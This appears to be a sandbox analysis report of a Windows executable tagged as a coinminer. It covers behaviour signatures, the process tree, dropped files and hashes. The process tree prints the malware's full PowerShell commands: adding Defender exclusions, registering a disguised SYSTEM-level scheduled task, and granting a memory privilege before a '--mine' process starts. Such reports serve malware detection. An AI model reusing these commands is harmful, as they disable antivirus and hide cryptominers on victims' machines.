Analysis

  • max time kernel
    150s
  • max time network
    151s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20260513-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
  • submitted
    16/07/2026, 22:30

General

  • Target
    2026-07-16_11929ddd4f4705bf365cfe65a75782b4_cobalt-strike_coinminer_icedid_mespinoza_njrat_ryuk_satacom_stealc.exe
  • Size 9.6MB
  • Sample260716-2etchaft3j
  • SHA256 54316f2e666218a3e365afaa46c69550b9913dadd78b3614a880b9b2b1e59de0
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Command and Scripting Interpreter: PowerShell 1 TTPs 12 IoCs

    Run Powershell and hide display window.

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 6 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Modifies registry class 3 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 21 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Users\Admin\AppData\Local\Temp\2026-07-16_11929ddd4f4705bf365cfe65a75782b4_cobalt-strike_coinminer_icedid_mespinoza_njrat_ryuk_satacom_stealc.exe
    "C:\Users\Admin\AppData\Local\Temp\2026-07-16_11929ddd4f4705bf365cfe65a75782b4_cobalt-strike_coinminer_icedid_mespinoza_njrat_ryuk_satacom_stealc.exe"
    1⤵
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:4560
    • C:\Users\Admin\AppData\Local\Temp\GoonHUB.exe
      "C:\Users\Admin\AppData\Local\Temp\GoonHUB.exe"
      2⤵
      • Checks computer location settings
      • Executes dropped EXE
      • Modifies registry class
      • Suspicious use of WriteProcessMemory
      PID:4716
      • C:\Users\Admin\AppData\Local\Temp\gooner_setup_x64.exe
        "C:\Users\Admin\AppData\Local\Temp\gooner_setup_x64.exe"
        3⤵
        • Executes dropped EXE
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of WriteProcessMemory
        PID:5108
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp'"
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:2424
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\ProgramData\MicrosoftEdgeUpdateTaskMachineCore'"
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:4368
        • C:\Windows\SYSTEM32\schtasks.exe
          schtasks /end /tn "\Microsoft\Windows\Customer Experience Improvement Program\MicrosoftEdgeUpdateTaskMachineCore"
          4⤵
            PID:516
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            powershell -WindowStyle Hidden -Command "$Action = New-ScheduledTaskAction -Execute '"C:\ProgramData\MicrosoftEdgeUpdateTaskMachineCore\MicrosoftEdgeUpdate.exe"' -Argument '--watcher' -WorkingDirectory '"C:\ProgramData\MicrosoftEdgeUpdateTaskMachineCore"'; $Trigger = New-ScheduledTaskTrigger -Once -At (Get-Date) -RepetitionInterval (New-TimeSpan -Minutes 1) -RepetitionDuration (New-TimeSpan -Days 3650); $Principal = New-ScheduledTaskPrincipal -UserId 'SYSTEM' -LogonType ServiceAccount -RunLevel Highest; $Settings = New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DontStopIfGoingOnBatteries -StartWhenAvailable -MultipleInstances IgnoreNew; $Task = New-ScheduledTask -Action $Action -Trigger $Trigger -Principal $Principal -Settings $Settings; $Task.Author = 'Microsoft Corporation'; Register-ScheduledTask -TaskName '\Microsoft\Windows\Customer Experience Improvement Program\MicrosoftEdgeUpdateTaskMachineCore' -InputObject $Task -Force"
            4⤵
            • Command and Scripting Interpreter: PowerShell
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:1832
          • C:\Windows\SYSTEM32\schtasks.exe
            schtasks /run /tn "\Microsoft\Windows\Customer Experience Improvement Program\MicrosoftEdgeUpdateTaskMachineCore"
            4⤵
              PID:2460
            • C:\ProgramData\MicrosoftEdgeUpdateTaskMachineCore\MicrosoftEdgeUpdate.exe
              "C:\ProgramData\MicrosoftEdgeUpdateTaskMachineCore\MicrosoftEdgeUpdate.exe" --monitor
              4⤵
              • Executes dropped EXE
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious behavior: GetForegroundWindowSpam
              PID:4000
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              powershell -WindowStyle Hidden -Command "$cfg = \"$env:temp\secpol.cfg\"; secedit /export /cfg $cfg /quiet; $c = Get-Content $cfg; $hasPriv = $false; $newC = @(); foreach ($l in $c) { if ($l -match '^SeLockMemoryPrivilege') { $hasPriv = $true; if ($l -notmatch '\*S-1-5-32-544') { $l = $l + ',*S-1-5-32-544' } }; $newC += $l }; if (-not $hasPriv) { for ($i=0; $i -lt $newC.Length; $i++) { if ($newC[$i] -match '^\[Privilege Rights\]') { $newC = $newC[0..$i] + 'SeLockMemoryPrivilege = *S-1-5-32-544' + $newC[($i+1)..($newC.Length-1)]; break } } }; Set-Content -Path $cfg -Value $newC; secedit /configure /db $env:windir\security\database\secedit.sdb /cfg $cfg /areas USER_RIGHTS /quiet"
              4⤵
              • Command and Scripting Interpreter: PowerShell
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of WriteProcessMemory
              PID:3712
              • C:\Windows\system32\SecEdit.exe
                "C:\Windows\system32\SecEdit.exe" /export /cfg C:\Users\Admin\AppData\Local\Temp\secpol.cfg /quiet
                5⤵
                  PID:4208
                • C:\Windows\system32\SecEdit.exe
                  "C:\Windows\system32\SecEdit.exe" /configure /db C:\Windows\security\database\secedit.sdb /cfg C:\Users\Admin\AppData\Local\Temp\secpol.cfg /areas USER_RIGHTS /quiet
                  5⤵
                    PID:4760
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              powershell -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp'"
              2⤵
              • Command and Scripting Interpreter: PowerShell
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              PID:4316
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              powershell -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\ProgramData\MicrosoftEdgeUpdateTaskMachineCore'"
              2⤵
              • Command and Scripting Interpreter: PowerShell
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              PID:4068
            • C:\Windows\SYSTEM32\schtasks.exe
              schtasks /end /tn "\Microsoft\Windows\Customer Experience Improvement Program\MicrosoftEdgeUpdateTaskMachineCore"
              2⤵
                PID:5104
              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                powershell -WindowStyle Hidden -Command "$Action = New-ScheduledTaskAction -Execute '"C:\ProgramData\MicrosoftEdgeUpdateTaskMachineCore\MicrosoftEdgeUpdate.exe"' -Argument '--watcher' -WorkingDirectory '"C:\ProgramData\MicrosoftEdgeUpdateTaskMachineCore"'; $Trigger = New-ScheduledTaskTrigger -Once -At (Get-Date) -RepetitionInterval (New-TimeSpan -Minutes 1) -RepetitionDuration (New-TimeSpan -Days 3650); $Principal = New-ScheduledTaskPrincipal -UserId 'SYSTEM' -LogonType ServiceAccount -RunLevel Highest; $Settings = New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DontStopIfGoingOnBatteries -StartWhenAvailable -MultipleInstances IgnoreNew; $Task = New-ScheduledTask -Action $Action -Trigger $Trigger -Principal $Principal -Settings $Settings; $Task.Author = 'Microsoft Corporation'; Register-ScheduledTask -TaskName '\Microsoft\Windows\Customer Experience Improvement Program\MicrosoftEdgeUpdateTaskMachineCore' -InputObject $Task -Force"
                2⤵
                • Command and Scripting Interpreter: PowerShell
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious use of AdjustPrivilegeToken
                PID:5024
              • C:\Windows\SYSTEM32\schtasks.exe
                schtasks /run /tn "\Microsoft\Windows\Customer Experience Improvement Program\MicrosoftEdgeUpdateTaskMachineCore"
                2⤵
                  PID:2992
                • C:\ProgramData\MicrosoftEdgeUpdateTaskMachineCore\MicrosoftEdgeUpdate.exe
                  "C:\ProgramData\MicrosoftEdgeUpdateTaskMachineCore\MicrosoftEdgeUpdate.exe" --monitor
                  2⤵
                  • Executes dropped EXE
                  PID:2476
                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                  powershell -WindowStyle Hidden -Command "$cfg = \"$env:temp\secpol.cfg\"; secedit /export /cfg $cfg /quiet; $c = Get-Content $cfg; $hasPriv = $false; $newC = @(); foreach ($l in $c) { if ($l -match '^SeLockMemoryPrivilege') { $hasPriv = $true; if ($l -notmatch '\*S-1-5-32-544') { $l = $l + ',*S-1-5-32-544' } }; $newC += $l }; if (-not $hasPriv) { for ($i=0; $i -lt $newC.Length; $i++) { if ($newC[$i] -match '^\[Privilege Rights\]') { $newC = $newC[0..$i] + 'SeLockMemoryPrivilege = *S-1-5-32-544' + $newC[($i+1)..($newC.Length-1)]; break } } }; Set-Content -Path $cfg -Value $newC; secedit /configure /db $env:windir\security\database\secedit.sdb /cfg $cfg /areas USER_RIGHTS /quiet"
                  2⤵
                  • Command and Scripting Interpreter: PowerShell
                  • Suspicious behavior: EnumeratesProcesses
                  • Suspicious use of WriteProcessMemory
                  PID:4784
                  • C:\Windows\system32\SecEdit.exe
                    "C:\Windows\system32\SecEdit.exe" /export /cfg C:\Users\Admin\AppData\Local\Temp\secpol.cfg /quiet
                    3⤵
                      PID:4448
                    • C:\Windows\system32\SecEdit.exe
                      "C:\Windows\system32\SecEdit.exe" /configure /db C:\Windows\security\database\secedit.sdb /cfg C:\Users\Admin\AppData\Local\Temp\secpol.cfg /areas USER_RIGHTS /quiet
                      3⤵
                        PID:2360
                  • C:\ProgramData\MicrosoftEdgeUpdateTaskMachineCore\MicrosoftEdgeUpdate.exe
                    C:\ProgramData\MicrosoftEdgeUpdateTaskMachineCore\MicrosoftEdgeUpdate.exe --watcher
                    1⤵
                    • Executes dropped EXE
                    • Suspicious behavior: EnumeratesProcesses
                    • Suspicious use of WriteProcessMemory
                    PID:4776
                    • C:\ProgramData\MicrosoftEdgeUpdateTaskMachineCore\MicrosoftEdgeUpdate.exe
                      "C:\ProgramData\MicrosoftEdgeUpdateTaskMachineCore\MicrosoftEdgeUpdate.exe" --mine
                      2⤵
                      • Executes dropped EXE
                      PID:3008

                  Network

                        MITRE ATT&CK Enterprise v16

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                        Downloads

                        MicrosoftEdgeUpdate.exe

                        • Path C:\ProgramData\MicrosoftEdgeUpdateTaskMachineCore\MicrosoftEdgeUpdate.exe
                        • Size 9.6MB
                        • SHA256 54316f2e666218a3e365afaa46c69550b9913dadd78b3614a880b9b2b1e59de0
                        • MD5 SHA1 SHA512 SSDEEP TLSH

                        powershell.exe.log

                        • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
                        • Size 2KB
                        • SHA256 84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f
                        • MD5 SHA1 SHA512 TLSH

                        StartupProfileData-NonInteractive

                        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                        • Size 1KB
                        • SHA256 4c69f56775952e519cd5287283594665e46f3c13d5eea8f73148bd7e7603a342
                        • MD5 SHA1 SHA512 TLSH

                        StartupProfileData-NonInteractive

                        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                        • Size 944B
                        • SHA256 7305bcde3ba246a9b5c1666079c61596cc2ed2c651a1cd9e20557dba8a78c0e4
                        • MD5 SHA1 SHA512 TLSH

                        StartupProfileData-NonInteractive

                        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                        • Size 944B
                        • SHA256 2b139c74072ccbdaa17b950f32a6dbc934dfb7af9973d97c9b0d9c498012ba68
                        • MD5 SHA1 SHA512 TLSH

                        StartupProfileData-NonInteractive

                        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                        • Size 1KB
                        • SHA256 012504ba181c5100ba3ca4350569b41e16508f886c4726acdf59d16828cd4db8
                        • MD5 SHA1 SHA512 TLSH

                        GoonHUB.exe

                        • Path C:\Users\Admin\AppData\Local\Temp\GoonHUB.exe
                        • Size 8.7MB
                        • SHA256 a8837db4b925c62d9e7abf0d56fb3b5bfcfe457256af7d37d2fcadede4867c06
                        • MD5 SHA1 SHA512 SSDEEP TLSH

                        __PSScriptPolicyTest_erlg41oa.i22.ps1

                        • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_erlg41oa.i22.ps1
                        • Size 60B
                        • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                        • MD5 SHA1 SHA512 TLSH

                        gooner_setup_x64.exe

                        • Path C:\Users\Admin\AppData\Local\Temp\gooner_setup_x64.exe
                        • Size 576KB
                        • SHA256 f823738d73cb78b055715749a69954d4eedec15b5b7ca8601038a22eadd27a30
                        • MD5 SHA1 SHA512 SSDEEP TLSH

                        sce65642.tmp

                        • Path C:\Users\Admin\AppData\Local\Temp\sce65642.tmp
                        • Size 16KB
                        • SHA256 621c13968a16a9280f14cea9e2577678af7129f6899615defebc08782eb8b756
                        • MD5 SHA1 SHA512 SSDEEP TLSH

                        secpol.cfg

                        • Path C:\Users\Admin\AppData\Local\Temp\secpol.cfg
                        • Size 8KB
                        • SHA256 31632d1fbcf64766bf9a71c82830424b0a9b4c3fe5235b91f39d04e98330de3e
                        • MD5 SHA1 SHA512 SSDEEP TLSH

                        memory/1832-75-0x00000138FC200000-0x00000138FC34E000-memory.dmp

                        memory/2424-42-0x000001EBD4C10000-0x000001EBD4D5E000-memory.dmp

                        memory/3008-151-0x00000256BBD20000-0x00000256BBD34000-memory.dmp

                        memory/3008-150-0x00000256BBD20000-0x00000256BBD34000-memory.dmp

                        memory/3712-147-0x0000022076A20000-0x0000022076B6E000-memory.dmp

                        memory/4068-52-0x000001509B7A0000-0x000001509B8EE000-memory.dmp

                        memory/4316-31-0x000002D4E2B70000-0x000002D4E2CBE000-memory.dmp

                        memory/4316-12-0x000002D4E09A0000-0x000002D4E09C2000-memory.dmp

                        memory/4316-5-0x000002D4E09F0000-0x000002D4E0A00000-memory.dmp

                        memory/4316-6-0x000002D4E09F0000-0x000002D4E0A00000-memory.dmp

                        memory/4368-55-0x000001C56FFF0000-0x000001C57013E000-memory.dmp

                        memory/4784-148-0x000001F7CCF40000-0x000001F7CD08E000-memory.dmp

                        memory/5024-79-0x000002429FFA0000-0x00000242A00EE000-memory.dmp